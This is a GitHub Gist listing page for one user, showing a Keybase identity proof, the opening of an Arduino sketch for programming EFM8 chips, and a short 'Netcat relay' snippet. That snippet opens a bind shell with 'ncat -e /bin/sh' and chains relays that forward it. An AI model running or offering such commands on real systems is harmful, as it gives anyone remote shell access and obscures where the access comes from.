Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am conorpp on github.
  • I am conor1 (https://keybase.io/conor1) on keybase.
  • I have a public key ASCV0T5QsXyKBU8BsjvIO0a4kfMNpr68T_TLgMTk70-lrwo

To claim this, I am signing this object:

@conorpp
conorpp / c2write.ino
Created July 16, 2017 01:08 — forked from racerxdl/c2write.ino
EFM8 C2 Write Port to Arduino
/**
Based on https://github.com/jaromir-sukuba/efm8prog/
Use his SW to program EFM8 using arduino.
This needs some work though (but it works)
**/
#define C2D 2
#define C2CK 3
#define LED 13
#define INBUSY 0x02
@conorpp
conorpp / relay
Created April 13, 2014 05:13
Netcat relay
# Shove a shell at whoever requests it
ncat -l 0.0.0.0 8000 -e /bin/sh
# In a different terminal (or machine) set up a relay
ncat -l 0.0.0.0 8001 -c "ncat 0.0.0.0 8000"
# You can chain together as many relays as you'd like
ncat -l 0.0.0.0 8002 -c "ncat 0.0.0.0 8001"
ncat -l 0.0.0.0 8003 -c "ncat 0.0.0.0 8002"
ncat -l 0.0.0.0 8004 -c "ncat 0.0.0.0 8003"